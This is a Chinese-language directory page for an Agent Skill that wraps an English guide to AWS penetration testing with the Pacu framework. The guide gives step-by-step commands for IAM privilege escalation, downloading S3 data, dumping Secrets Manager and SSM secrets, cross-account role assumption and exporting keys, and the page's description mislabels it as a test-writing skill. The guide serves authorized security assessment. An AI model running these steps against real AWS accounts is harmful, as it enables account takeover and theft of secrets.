Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

performing-cloud-penetration-testing-with-pacu使用 pacu 执行云渗透测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

250

周安装

10

GitHub Stars

5,923

下载量

81
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-cloud-penetration-testing-with-pacu(使用 pacu 执行云渗透测试)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-cloud-penetration-testing-with-pacu
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacu
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacu

简介

用于辅助测试设计、自动化测试和用例整理。

  • 适合在 Codex、Claude、Cursor、Gemini CLI 中编写单元或端到端测试。
  • 使用时需确认项目测试框架、运行命令及夹具数据,避免修改真实逻辑。
  • 涉及浏览器或外部服务时,应区分本地模拟、测试环境与生产环境。
  • performing-cloud-penetration-testing-with-pacu 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Performing Cloud Penetration Testing with Pacu

When to Use

  • When conducting authorized penetration testing of AWS environments
  • When validating the effectiveness of IAM policies, SCPs, and permission boundaries
  • When assessing the blast radius of a compromised set of AWS credentials
  • When testing detection capabilities of GuardDuty, Security Hub, and custom alerting
  • When building red team exercises against AWS cloud infrastructure

Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.

Prerequisites

  • Written authorization from the AWS account owner with defined scope and rules of engagement
  • Pacu v1.5+ installed (pip install pacu)
  • Test AWS credentials with limited starting permissions (simulates compromised credential scenario)
  • CloudTrail logging enabled to capture all Pacu activity for post-engagement review
  • GuardDuty enabled to validate detection of Pacu activities
  • Emergency contact and rollback procedures documented

Workflow

Step 1: Initialize Pacu Session and Configure Credentials

Set up a Pacu session with the test credentials and define the engagement scope.

# Install Pacu
pip install pacu

# Start Pacu
pacu

# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...

# Verify identity
Pacu > whoami

# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

Step 2: Enumerate IAM Configuration

Run IAM enumeration modules to map users, roles, policies, and group memberships.

# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups

# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions

# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report

# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles

# Check current session data
Pacu > data iam

Step 3: Scan for Privilege Escalation Paths

Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.

# Run the privilege escalation scanner
Pacu > run iam__privesc_scan

# The scanner tests for 21+ escalation methods:
# Method 1:  iam:CreatePolicyVersion
# Method 2:  iam:SetDefaultPolicyVersion
# Method 3:  iam:PassRole + ec2:RunInstances
# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6:  iam:PassRole + glue:CreateDevEndpoint
# Method 7:  iam:PassRole + cloudformation:CreateStack
# Method 8:  iam:PassRole + datapipeline:CreatePipeline
# Method 9:  iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode

# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate

Step 4: Enumerate and Test Data Access

Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.

# Enumerate S3 buckets
Pacu > run s3__bucket_finder

# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum

# Enumerate Secrets Manager
Pacu > run secretsmanager__enum

# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters

# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth

Step 5: Test Lateral Movement and Persistence

Evaluate cross-account access, service exploitation, and persistence mechanisms.

# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole

# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code

# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions

# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum

# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum

# Export all discovered data
Pacu > data all

Step 6: Validate Detection and Generate Report

Review whether security controls detected the testing activities and compile findings.

# Check GuardDuty findings generated during testing
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json

# Check Security Hub findings
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'

# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json

# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

Key Concepts

TermDefinition
PacuOpen-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing
Privilege Escalation ScanAutomated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control
iam:PassRoleCritical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue
Cross-Account Role AssumptionUsing sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations
Rules of EngagementDocumented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement
Post-ExploitationActivities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment

Tools & Systems

  • Pacu: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration
  • CloudFox: AWS enumeration tool for identifying attack paths from an attacker perspective
  • Principal Mapper: IAM privilege escalation graph analysis tool for visualizing escalation paths
  • ScoutSuite: Multi-cloud security assessment tool for identifying misconfigurations before testing
  • AWS CloudTrail: Audit logging for capturing all Pacu activities during the engagement

Common Scenarios

Scenario: Red Team Assessment Starting from Compromised Developer Credentials

Context: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.

Approach:

  1. Initialize Pacu with the compromised credentials and run whoami to confirm identity
  2. Run iam__enum_permissions to map the developer's effective permissions
  3. Execute iam__privesc_scan to identify escalation paths from developer to admin
  4. Discover the developer can call iam:PassRole + lambda:CreateFunction, creating a Lambda with an admin role
  5. Exploit the escalation to obtain admin-level temporary credentials
  6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager
  7. Verify whether GuardDuty detected the escalation and data access activities
  8. Clean up all test artifacts and document the complete attack chain

Pitfalls: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger Recon:IAMUser/MaliciousIPCaller findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.

Output Format

AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015

ATTACK PATH SUMMARY:
  Starting access: S3 read-only, Lambda invoke
  Maximum access achieved: AdministratorAccess (full account compromise)
  Time to admin: 47 minutes
  Detection by GuardDuty: Yes (after 12 minutes)
  Detection by Security Hub: Yes (after 18 minutes)
  SOC response time: 45 minutes (missed the escalation window)

PACU MODULES EXECUTED:
  iam__enum_users_roles_policies_groups: SUCCESS
  iam__enum_permissions: SUCCESS
  iam__privesc_scan: 3 escalation paths found
  s3__download_bucket: 4 buckets accessed
  lambda__enum: 12 functions enumerated
  secretsmanager__enum: 8 secrets retrieved

ESCALATION PATHS EXPLOITED:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)

DATA ACCESSED:
  S3 objects downloaded: 1,247 files (2.3 GB)
  Secrets Manager values: 8 secrets including DB credentials
  SSM parameters: 23 parameters including API keys

DETECTION RESULTS:
  GuardDuty findings generated: 7
  Security Hub findings: 12
  Custom CloudWatch alarms triggered: 3
  SOC acknowledged: Yes (45 min response)

RECOMMENDATIONS:
  1. Apply permission boundaries to all developer roles
  2. Remove iam:PassRole from non-admin principals
  3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

38.26%
按下载量换算31

Claude

29.85%
按下载量换算24

Cursor

19.58%
按下载量换算16

Gemini CLI

9.21%
按下载量换算7

安全审计

Gen Agent Trust Hub

可疑

Socket

通过

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills